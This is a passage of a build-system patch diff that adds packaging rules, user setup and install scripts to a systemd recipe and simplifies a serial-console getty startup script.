+ echo 'd /run/systemd/resolve 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
+ else
+ resolv_conf="${@bb.utils.contains('RESOLV_CONF', 'stub-resolv', 'run/systemd/resolve/stub-resolv.conf', 'run/systemd/resolve/resolv.conf', d)}"
+ sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../${resolv_conf}%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
+ ln -s ../${resolv_conf} ${D}${sysconfdir}/resolv-conf.systemd
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'false', 'true', d)}; then
+ rm ${D}${exec_prefix}/lib/tmpfiles.d/x11.conf
+ rm -r ${D}${sysconfdir}/X11
+ fi
+
+ # If polkit is setup fixup permissions and ownership
+ if ${@bb.utils.contains('PACKAGECONFIG', 'polkit', 'true', 'false', d)}; then
+ if [ -d ${D}${datadir}/polkit-1/rules.d ]; then
+ chmod 700 ${D}${datadir}/polkit-1/rules.d
+ chown polkitd:root ${D}${datadir}/polkit-1/rules.d
+ fi
+ fi
+
+ # If polkit is not available and a fallback was requested, install a drop-in that allows networkd to
+ # request hostname changes via DBUS without elevating its privileges
+ if ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}/systemd-hostnamed.service.d/
+ install -m 0644 ${WORKDIR}/00-hostnamed-network-user.conf ${D}${systemd_system_unitdir}/systemd-hostnamed.service.d/
+ install -d ${D}${datadir}/dbus-1/system.d/
+ install -m 0644 ${WORKDIR}/org.freedesktop.hostname1_no_polkit.conf ${D}${datadir}/dbus-1/system.d/
+ fi
+
+ # create link for existing udev rules
+ ln -s ${base_bindir}/udevadm ${D}${base_sbindir}/udevadm
+
+ # install default policy for presets
+ # https://www.freedesktop.org/wiki/Software/systemd/Preset/#howto
+ install -Dm 0644 ${WORKDIR}/99-default.preset ${D}${systemd_unitdir}/system-preset/99-default.preset
+
+ # add a profile fragment to disable systemd pager with busybox less
+ install -Dm 0644 ${WORKDIR}/systemd-pager.sh ${D}${sysconfdir}/profile.d/systemd-pager.sh
+
+ if [ -n "${WATCHDOG_TIMEOUT}" ]; then
+ sed -i -e 's/#RebootWatchdogSec=10min/RebootWatchdogSec=${WATCHDOG_TIMEOUT}/' \
+ ${D}/${sysconfdir}/systemd/system.conf
+ fi
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pni-names', 'true', 'false', d)}; then
+ if ! grep -q '^NamePolicy=.*mac' ${D}${rootlibexecdir}/systemd/network/99-default.link; then
+ sed -i '/^NamePolicy=/s/$/ mac/' ${D}${rootlibexecdir}/systemd/network/99-default.link
+ fi
+ if ! grep -q 'AlternativeNamesPolicy=.*mac' ${D}${rootlibexecdir}/systemd/network/99-default.link; then
+ sed -i '/AlternativeNamesPolicy=/s/$/ mac/' ${D}${rootlibexecdir}/systemd/network/99-default.link
+ fi
+ fi
+}
+
+python populate_packages:prepend (){
+ systemdlibdir = d.getVar("rootlibdir")
+ do_split_packages(d, systemdlibdir, r'^lib(.*)\.so\.*', 'lib%s', 'Systemd %s library', extra_depends='', allow_links=True)
+}
+PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
+
+PACKAGE_BEFORE_PN = "\
+ ${PN}-analyze \
+ ${PN}-binfmt \
+ ${PN}-container \
+ ${PN}-crypt \
+ ${PN}-extra-utils \
+ ${PN}-gui \
+ ${PN}-initramfs \
+ ${PN}-journal-gatewayd \
+ ${PN}-journal-upload \
+ ${PN}-journal-remote \
+ ${PN}-kernel-install \
+ ${PN}-rpm-macros \
+ ${PN}-udev-rules \
+ ${PN}-vconsole-setup \
+ ${PN}-zsh-completion \
+ libsystemd-shared \
+ udev \
+ udev-bash-completion \
+ udev-hwdb \
+"
+
+SUMMARY:${PN}-container = "Tools for containers and VMs"
+DESCRIPTION:${PN}-container = "Systemd tools to spawn and manage containers and virtual machines."
+
+SUMMARY:${PN}-journal-gatewayd = "HTTP server for journal events"
+DESCRIPTION:${PN}-journal-gatewayd = "systemd-journal-gatewayd serves journal events over the network. Clients must connect using HTTP. The server listens on port 19531 by default."
+
+SUMMARY:${PN}-journal-upload = "Send journal messages over the network"
+DESCRIPTION:${PN}-journal-upload = "systemd-journal-upload uploads journal entries to a specified URL."
+
+SUMMARY:${PN}-journal-remote = "Receive journal messages over the network"
+DESCRIPTION:${PN}-journal-remote = "systemd-journal-remote is a command to receive serialized journal events and store them to journal files."
+
+SUMMARY:libsystemd-shared = "Systemd shared library"
+
+SYSTEMD_PACKAGES = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', '${PN}-binfmt', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
+"
+SYSTEMD_SERVICE:${PN}-binfmt = "systemd-binfmt.service"
+
+USERADD_PACKAGES = "${PN} \
+ udev \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
+"
+GROUPADD_PARAM:${PN} = "-r systemd-journal;"
+GROUPADD_PARAM:udev = "-r render"
+GROUPADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', '-r systemd-hostname;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'coredump', '--system -d / -M --shell /sbin/nologin systemd-coredump;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'networkd', '--system -d / -M --shell /sbin/nologin systemd-network;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit', '--system --no-create-home --user-group --home-dir ${sysconfdir}/polkit-1 polkitd;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'resolved', '--system -d / -M --shell /sbin/nologin systemd-resolve;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'timesyncd', '--system -d / -M --shell /sbin/nologin systemd-timesync;', '', d)}"
+USERADD_PARAM:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'oomd', '--system -d / -M --shell /sbin/nologin systemd-oom;', '', d)}"
+USERADD_PARAM:${PN}-journal-gatewayd = "--system -d / -M --shell /sbin/nologin systemd-journal-gateway"
+USERADD_PARAM:${PN}-journal-remote = "--system -d / -M --shell /sbin/nologin systemd-journal-remote"
+USERADD_PARAM:${PN}-journal-upload = "--system -d / -M --shell /sbin/nologin systemd-journal-upload"
+
+FILES:${PN}-analyze = "${bindir}/systemd-analyze"
+
+FILES:${PN}-crypt = "${bindir}/systemd-cryptenroll \
+ ${libdir}/cryptsetup \
+ "
+RRECOMMENDS:${PN} += "${PN}-crypt"
+
+FILES:${PN}-initramfs = "/init"
+RDEPENDS:${PN}-initramfs = "${PN}"
+
+FILES:${PN}-gui = "${bindir}/systemadm"
+
+FILES:${PN}-vconsole-setup = "${rootlibexecdir}/systemd/systemd-vconsole-setup \
+ ${systemd_system_unitdir}/systemd-vconsole-setup.service \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-vconsole-setup.service"
+
+RDEPENDS:${PN}-kernel-install += "bash"
+FILES:${PN}-kernel-install = "${bindir}/kernel-install \
+ ${sysconfdir}/kernel/ \
+ ${exec_prefix}/lib/kernel \
+ "
+FILES:${PN}-rpm-macros = "${exec_prefix}/lib/rpm \
+ "
+
+FILES:${PN}-zsh-completion = "${datadir}/zsh/site-functions"
+
+FILES:${PN}-binfmt = "${sysconfdir}/binfmt.d/ \
+ ${exec_prefix}/lib/binfmt.d \
+ ${rootlibexecdir}/systemd/systemd-binfmt \
+ ${systemd_system_unitdir}/proc-sys-fs-binfmt_misc.* \
+ ${systemd_system_unitdir}/systemd-binfmt.service"
+RRECOMMENDS:${PN}-binfmt = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', 'kernel-module-binfmt-misc', '', d)}"
+
+RDEPENDS:${PN}-vconsole-setup = "${@bb.utils.contains('PACKAGECONFIG', 'vconsole', 'kbd kbd-consolefonts kbd-keymaps', '', d)}"
+
+
+FILES:${PN}-journal-gatewayd = "${rootlibexecdir}/systemd/systemd-journal-gatewayd \
+ ${systemd_system_unitdir}/systemd-journal-gatewayd.service \
+ ${systemd_system_unitdir}/systemd-journal-gatewayd.socket \
+ ${systemd_system_unitdir}/sockets.target.wants/systemd-journal-gatewayd.socket \
+ ${datadir}/systemd/gatewayd/browse.html \
+ "
+SYSTEMD_SERVICE:${PN}-journal-gatewayd = "systemd-journal-gatewayd.socket"
+
+FILES:${PN}-journal-upload = "${rootlibexecdir}/systemd/systemd-journal-upload \
+ ${systemd_system_unitdir}/systemd-journal-upload.service \
+ ${sysconfdir}/systemd/journal-upload.conf \
+ "
+SYSTEMD_SERVICE:${PN}-journal-upload = "systemd-journal-upload.service"
+
+FILES:${PN}-journal-remote = "${rootlibexecdir}/systemd/systemd-journal-remote \
+ ${sysconfdir}/systemd/journal-remote.conf \
+ ${systemd_system_unitdir}/systemd-journal-remote.service \
+ ${systemd_system_unitdir}/systemd-journal-remote.socket \
+ "
+SYSTEMD_SERVICE:${PN}-journal-remote = "systemd-journal-remote.socket"
+
+
+FILES:${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.conf \
+ ${sysconfdir}/dbus-1/system.d/org.freedesktop.machine1.conf \
+ ${sysconfdir}/systemd/system/multi-user.target.wants/machines.target \
+ ${base_bindir}/machinectl \
+ ${bindir}/systemd-nspawn \
+ ${nonarch_libdir}/systemd/import-pubring.gpg \
+ ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.import1.busname \
+ ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.machine1.busname \
+ ${systemd_system_unitdir}/local-fs.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/machines.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/remote-fs.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/machine.slice \
+ ${systemd_system_unitdir}/machines.target \
+ ${systemd_system_unitdir}/org.freedesktop.import1.busname \
+ ${systemd_system_unitdir}/org.freedesktop.machine1.busname \
+ ${systemd_system_unitdir}/systemd-importd.service \
+ ${systemd_system_unitdir}/systemd-machined.service \
+ ${systemd_system_unitdir}/dbus-org.freedesktop.machine1.service \
+ ${systemd_system_unitdir}/var-lib-machines.mount \
+ ${rootlibexecdir}/systemd/systemd-import \
+ ${rootlibexecdir}/systemd/systemd-importd \
+ ${rootlibexecdir}/systemd/systemd-machined \
+ ${rootlibexecdir}/systemd/systemd-pull \
+ ${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
+ ${exec_prefix}/lib/tmpfiles.d/README \
+ ${systemd_system_unitdir}/systemd-nspawn@.service \
+ ${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
+ ${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
+ ${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.machine1.conf \
+ ${datadir}/polkit-1/actions/org.freedesktop.import1.policy \
+ ${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
+ "
+
+RDEPENDS:${PN}-container = "${@bb.utils.contains('PACKAGECONFIG', 'nss-mymachines', 'libnss-mymachines', '', d)}"
+
+# "machinectl import-tar" uses "tar --numeric-owner", not supported by busybox.
+RRECOMMENDS:${PN}-container += "\
+ ${PN}-journal-gatewayd \
+ ${PN}-journal-remote \
+ ${PN}-journal-upload \
+ kernel-module-dm-mod \
+ kernel-module-loop \
+ kernel-module-tun \
+ tar \
+ "
+
+FILES:${PN}-extra-utils = "\
+ ${base_bindir}/systemd-escape \
+ ${base_bindir}/systemd-inhibit \
+ ${bindir}/systemd-detect-virt \
+ ${bindir}/systemd-dissect \
+ ${bindir}/systemd-path \
+ ${bindir}/systemd-run \
+ ${bindir}/systemd-cat \
+ ${bindir}/systemd-creds \
+ ${bindir}/systemd-delta \
+ ${bindir}/systemd-cgls \
+ ${bindir}/systemd-cgtop \
+ ${bindir}/systemd-stdio-bridge \
+ ${base_bindir}/systemd-ask-password \
+ ${base_bindir}/systemd-tty-ask-password-agent \
+ ${base_sbindir}/mount.ddi \
+ ${systemd_system_unitdir}/initrd.target.wants/systemd-pcrphase-initrd.path \
+ ${systemd_system_unitdir}/systemd-ask-password-console.path \
+ ${systemd_system_unitdir}/systemd-ask-password-console.service \
+ ${systemd_system_unitdir}/systemd-ask-password-wall.path \
+ ${systemd_system_unitdir}/systemd-ask-password-wall.service \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-ask-password-console.path \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-ask-password-wall.path \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-pcrphase.path \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-pcrphase-sysinit.path \
+ ${systemd_system_unitdir}/multi-user.target.wants/systemd-ask-password-wall.path \
+ ${rootlibexecdir}/systemd/systemd-resolve-host \
+ ${rootlibexecdir}/systemd/systemd-ac-power \
+ ${rootlibexecdir}/systemd/systemd-activate \
+ ${rootlibexecdir}/systemd/systemd-measure \
+ ${rootlibexecdir}/systemd/systemd-pcrphase \
+ ${rootlibexecdir}/systemd/systemd-socket-proxyd \
+ ${rootlibexecdir}/systemd/systemd-reply-password \
+ ${rootlibexecdir}/systemd/systemd-sleep \
+ ${rootlibexecdir}/systemd/system-sleep \
+ ${systemd_system_unitdir}/systemd-hibernate.service \
+ ${systemd_system_unitdir}/systemd-hybrid-sleep.service \
+ ${systemd_system_unitdir}/systemd-pcrphase-initrd.service \
+ ${systemd_system_unitdir}/systemd-pcrphase.service \
+ ${systemd_system_unitdir}/systemd-pcrphase-sysinit.service \
+ ${systemd_system_unitdir}/systemd-suspend.service \
+ ${systemd_system_unitdir}/sleep.target \
+ ${rootlibexecdir}/systemd/systemd-initctl \
+ ${systemd_system_unitdir}/systemd-initctl.service \
+ ${systemd_system_unitdir}/systemd-initctl.socket \
+ ${systemd_system_unitdir}/sockets.target.wants/systemd-initctl.socket \
+ ${rootlibexecdir}/systemd/system-generators/systemd-gpt-auto-generator \
+ ${rootlibexecdir}/systemd/systemd-cgroups-agent \
+"
+
+FILES:${PN}-udev-rules = "\
+ ${rootlibexecdir}/udev/rules.d/70-uaccess.rules \
+ ${rootlibexecdir}/udev/rules.d/71-seat.rules \
+ ${rootlibexecdir}/udev/rules.d/73-seat-late.rules \
+ ${rootlibexecdir}/udev/rules.d/99-systemd.rules \
+"
+
+CONFFILES:${PN} = "${sysconfdir}/systemd/coredump.conf \
+ ${sysconfdir}/systemd/journald.conf \
+ ${sysconfdir}/systemd/logind.conf \
+ ${sysconfdir}/systemd/networkd.conf \
+ ${sysconfdir}/systemd/pstore.conf \
+ ${sysconfdir}/systemd/resolved.conf \
+ ${sysconfdir}/systemd/sleep.conf \
+ ${sysconfdir}/systemd/system.conf \
+ ${sysconfdir}/systemd/timesyncd.conf \
+ ${sysconfdir}/systemd/user.conf \
+"
+
+FILES:${PN} = " ${base_bindir}/* \
+ ${base_sbindir}/shutdown \
+ ${base_sbindir}/halt \
+ ${base_sbindir}/poweroff \
+ ${base_sbindir}/runlevel \
+ ${base_sbindir}/telinit \
+ ${base_sbindir}/resolvconf \
+ ${base_sbindir}/reboot \
+ ${base_sbindir}/init \
+ ${datadir}/dbus-1/services \
+ ${datadir}/dbus-1/system-services \
+ ${datadir}/polkit-1 \
+ ${datadir}/${BPN} \
+ ${datadir}/factory \
+ ${sysconfdir}/credstore/ \
+ ${sysconfdir}/credstore.encrypted/ \
+ ${sysconfdir}/dbus-1/ \
+ ${sysconfdir}/modules-load.d/ \
+ ${sysconfdir}/pam.d/ \
+ ${sysconfdir}/profile.d/ \
+ ${sysconfdir}/sysctl.d/ \
+ ${sysconfdir}/systemd/ \
+ ${sysconfdir}/tmpfiles.d/ \
+ ${sysconfdir}/xdg/ \
+ ${sysconfdir}/init.d/README \
+ ${sysconfdir}/resolv-conf.systemd \
+ ${sysconfdir}/X11/xinit/xinitrc.d/* \
+ ${rootlibexecdir}/systemd/* \
+ ${rootlibdir}/systemd/libsystemd-core* \
+ ${libdir}/pam.d \
+ ${nonarch_libdir}/pam.d \
+ ${systemd_unitdir}/* \
+ ${base_libdir}/security/*.so \
+ /cgroup \
+ ${bindir}/systemd* \
+ ${bindir}/busctl \
+ ${bindir}/coredumpctl \
+ ${bindir}/localectl \
+ ${bindir}/hostnamectl \
+ ${bindir}/resolvectl \
+ ${bindir}/timedatectl \
+ ${bindir}/bootctl \
+ ${bindir}/oomctl \
+ ${bindir}/userdbctl \
+ ${exec_prefix}/lib/credstore \
+ ${exec_prefix}/lib/tmpfiles.d/*.conf \
+ ${exec_prefix}/lib/systemd \
+ ${exec_prefix}/lib/modules-load.d \
+ ${exec_prefix}/lib/sysctl.d \
+ ${exec_prefix}/lib/sysusers.d \
+ ${exec_prefix}/lib/environment.d \
+ ${exec_prefix}/lib/pcrlock.d \
+ ${localstatedir} \
+ ${rootlibexecdir}/modprobe.d/systemd.conf \
+ ${rootlibexecdir}/modprobe.d/README \
+ ${datadir}/dbus-1/system.d/org.freedesktop.timedate1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.locale1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.network1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.resolve1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.systemd1.conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', '${datadir}/dbus-1/system.d/org.freedesktop.hostname1_no_polkit.conf', '', d)} \
+ ${datadir}/dbus-1/system.d/org.freedesktop.hostname1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.login1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.timesync1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.portable1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.oom1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.home1.conf \
+ "
+
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${datadir}/dbus-1/interfaces/ ${sysconfdir}/rpm/macros.systemd"
+
+RDEPENDS:${PN} += "kmod dbus util-linux-mount util-linux-umount udev (= ${EXTENDPKGV}) systemd-udev-rules util-linux-agetty util-linux-fsck util-linux-swaponoff"
+RDEPENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', '', 'systemd-serialgetty', d)}"
+RDEPENDS:${PN} += "volatile-binds"
+
+RRECOMMENDS:${PN} += "systemd-extra-utils \
+ udev-hwdb \
+ e2fsprogs-e2fsck \
+ kernel-module-autofs4 kernel-module-unix kernel-module-ipv6 kernel-module-sch-fq-codel \
+ os-release \
+ systemd-conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'logind', 'pam-plugin-umask', '', d)} \
+"
+
+INSANE_SKIP:${PN} += "dev-so libdir"
+INSANE_SKIP:${PN}-dbg += "libdir"
+INSANE_SKIP:${PN}-doc += " libdir"
+INSANE_SKIP:libsystemd-shared += "libdir"
+
+FILES:libsystemd-shared = "${rootlibdir}/systemd/libsystemd-shared*.so"
+
+RPROVIDES:udev = "hotplug"
+
+RDEPENDS:udev-bash-completion += "bash-completion"
+RDEPENDS:udev-hwdb += "udev"
+
+FILES:udev += "${base_sbindir}/udevd \
+ ${rootlibexecdir}/systemd/network/99-default.link \
+ ${rootlibexecdir}/systemd/systemd-udevd \
+ ${rootlibexecdir}/udev/accelerometer \
+ ${rootlibexecdir}/udev/ata_id \
+ ${rootlibexecdir}/udev/cdrom_id \
+ ${rootlibexecdir}/udev/collect \
+ ${rootlibexecdir}/udev/dmi_memory_id \
+ ${rootlibexecdir}/udev/fido_id \
+ ${rootlibexecdir}/udev/findkeyboards \
+ ${rootlibexecdir}/udev/iocost \
+ ${rootlibexecdir}/udev/keyboard-force-release.sh \
+ ${rootlibexecdir}/udev/keymap \
+ ${rootlibexecdir}/udev/mtd_probe \
+ ${rootlibexecdir}/udev/scsi_id \
+ ${rootlibexecdir}/udev/v4l_id \
+ ${rootlibexecdir}/udev/keymaps \
+ ${rootlibexecdir}/udev/rules.d/50-udev-default.rules \
+ ${rootlibexecdir}/udev/rules.d/60-autosuspend.rules \
+ ${rootlibexecdir}/udev/rules.d/60-autosuspend-chromiumos.rules \
+ ${rootlibexecdir}/udev/rules.d/60-block.rules \
+ ${rootlibexecdir}/udev/rules.d/60-cdrom_id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-dmi-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-drm.rules \
+ ${rootlibexecdir}/udev/rules.d/60-evdev.rules \
+ ${rootlibexecdir}/udev/rules.d/60-fido-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-infiniband.rules \
+ ${rootlibexecdir}/udev/rules.d/60-input-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-alsa.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-input.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage-mtd.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage-tape.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-v4l.rules \
+ ${rootlibexecdir}/udev/rules.d/60-sensor.rules \
+ ${rootlibexecdir}/udev/rules.d/60-serial.rules \
+ ${rootlibexecdir}/udev/rules.d/61-autosuspend-manual.rules \
+ ${rootlibexecdir}/udev/rules.d/64-btrfs.rules \
+ ${rootlibexecdir}/udev/rules.d/70-camera.rules \
+ ${rootlibexecdir}/udev/rules.d/70-joystick.rules \
+ ${rootlibexecdir}/udev/rules.d/70-memory.rules \
+ ${rootlibexecdir}/udev/rules.d/70-mouse.rules \
+ ${rootlibexecdir}/udev/rules.d/70-power-switch.rules \
+ ${rootlibexecdir}/udev/rules.d/70-touchpad.rules \
+ ${rootlibexecdir}/udev/rules.d/75-net-description.rules \
+ ${rootlibexecdir}/udev/rules.d/75-probe_mtd.rules \
+ ${rootlibexecdir}/udev/rules.d/78-sound-card.rules \
+ ${rootlibexecdir}/udev/rules.d/80-drivers.rules \
+ ${rootlibexecdir}/udev/rules.d/80-net-setup-link.rules \
+ ${rootlibexecdir}/udev/rules.d/81-net-dhcp.rules \
+ ${rootlibexecdir}/udev/rules.d/90-vconsole.rules \
+ ${rootlibexecdir}/udev/rules.d/90-iocost.rules \
+ ${rootlibexecdir}/udev/rules.d/README \
+ ${sysconfdir}/udev \
+ ${sysconfdir}/init.d/systemd-udevd \
+ ${systemd_system_unitdir}/*udev* \
+ ${systemd_system_unitdir}/*.wants/*udev* \
+ ${base_bindir}/systemd-hwdb \
+ ${base_bindir}/udevadm \
+ ${base_sbindir}/udevadm \
+ ${systemd_system_unitdir}/systemd-hwdb-update.service \
+ "
+
+FILES:udev-bash-completion = "${datadir}/bash-completion/completions/udevadm"
+FILES:udev-hwdb = "${rootlibexecdir}/udev/hwdb.d \
+ "
+
+RCONFLICTS:${PN} = "tiny-init ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolvconf', '', d)}"
+
+INITSCRIPT_PACKAGES = "udev"
+INITSCRIPT_NAME:udev = "systemd-udevd"
+INITSCRIPT_PARAMS:udev = "start 03 S ."
+
+python __anonymous() {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+
+ if bb.utils.contains('DISTRO_FEATURES', 'systemd-resolved', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'nss-resolve resolved', True, False, d):
+ bb.error("DISTRO_FEATURES[systemd-resolved] requires PACKAGECONFIG[nss-resolve, resolved]")
+
+ if bb.utils.contains('PACKAGECONFIG', 'repart', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'openssl', True, False, d):
+ bb.error("PACKAGECONFIG[repart] requires PACKAGECONFIG[openssl]")
+
+ if bb.utils.contains('PACKAGECONFIG', 'homed', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'userdb openssl cryptsetup', True, False, d):
+ bb.error("PACKAGECONFIG[homed] requires PACKAGECONFIG[userdb], PACKAGECONFIG[openssl] and PACKAGECONFIG[cryptsetup]")
+}
+
+python do_warn_musl() {
+ if d.getVar('TCLIBC') == "musl":
+ bb.warn("Using systemd with musl is not recommended since it is not supported upstream and some patches are known to be problematic.")
+}
+addtask warn_musl before do_configure
+
+ALTERNATIVE:${PN} = "halt reboot shutdown poweroff runlevel ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolv-conf', '', d)}"
+
+ALTERNATIVE_TARGET[resolv-conf] = "${sysconfdir}/resolv-conf.systemd"
+ALTERNATIVE_LINK_NAME[resolv-conf] = "${sysconfdir}/resolv.conf"
+ALTERNATIVE_PRIORITY[resolv-conf] ?= "50"
+
+ALTERNATIVE_TARGET[halt] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
+ALTERNATIVE_PRIORITY[halt] ?= "300"
+
+ALTERNATIVE_TARGET[reboot] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
+ALTERNATIVE_PRIORITY[reboot] ?= "300"
+
+ALTERNATIVE_TARGET[shutdown] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
+ALTERNATIVE_PRIORITY[shutdown] ?= "300"
+
+ALTERNATIVE_TARGET[poweroff] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
+ALTERNATIVE_PRIORITY[poweroff] ?= "300"
+
+ALTERNATIVE_TARGET[runlevel] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
+ALTERNATIVE_PRIORITY[runlevel] ?= "300"
+
+pkg_postinst:${PN}:libc-glibc () {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'myhostname', 'true', 'false', d)}; then
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'nss', 'true', 'false', d)}; then
+ sed -e 's#\(^passwd:.*\)#\1 systemd#' \
+ -e 's#\(^group:.*\)#\1 systemd#' \
+ -e 's#\(^shadow:.*\)#\1 systemd#' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
+}
+
+pkg_prerm:${PN}:libc-glibc () {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'myhostname', 'true', 'false', d)}; then
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e '/^hosts:/s/\s*myhostname//' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'nss', 'true', 'false', d)}; then
+ sed -e '/^passwd:/s#\s*systemd##' \
+ -e '/^group:/s#\s*systemd##' \
+ -e '/^shadow:/s#\s*systemd##' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
+}
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+pkg_postinst:udev-hwdb () {
+ if test -n "$D"; then
+ $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} rootlibexecdir="${rootlibexecdir}" PREFERRED_PROVIDER_udev="${PREFERRED_PROVIDER_udev}" base_bindir="${base_bindir}"
+ else
+ udevadm hwdb --update
+ fi
+}
+
+pkg_prerm:udev-hwdb () {
+ rm -f $D${sysconfdir}/udev/hwdb.bin
+}
diff --git a/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty b/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
index dfa799adac..f5671ee53d 100644
--- a/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
+++ b/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
@@ -1,17 +1,8 @@
#!/bin/sh
-###############################################################################
-# This script is used to automatically set up the serial console(s) on startup.
-# The variable SERIAL_CONSOLES can be set in meta/conf/machine/*.conf.
-# Script enhancement has been done based on Bug YOCTO #10844.
-# Most of the information is retrieved from /proc virtual filesystem containing
-# all the runtime system information (eg. system memory, device mount, etc).
-###############################################################################
-# Get active serial filename.
-active_serial=$(grep "serial" /proc/tty/drivers | cut -d/ -f1 | sed "s/ *$//")
-
-# Rephrase input parameter from ttyS target index (ttyS1, ttyS2, ttyAMA0, etc).
-runtime_tty=$(echo $2 | grep -oh '[0-9]\+')
+SPEED=$1
+DEVICE=$2
+TERM=$3
# busybox' getty does this itself, util-linux' agetty needs extra help
getty="/sbin/getty"
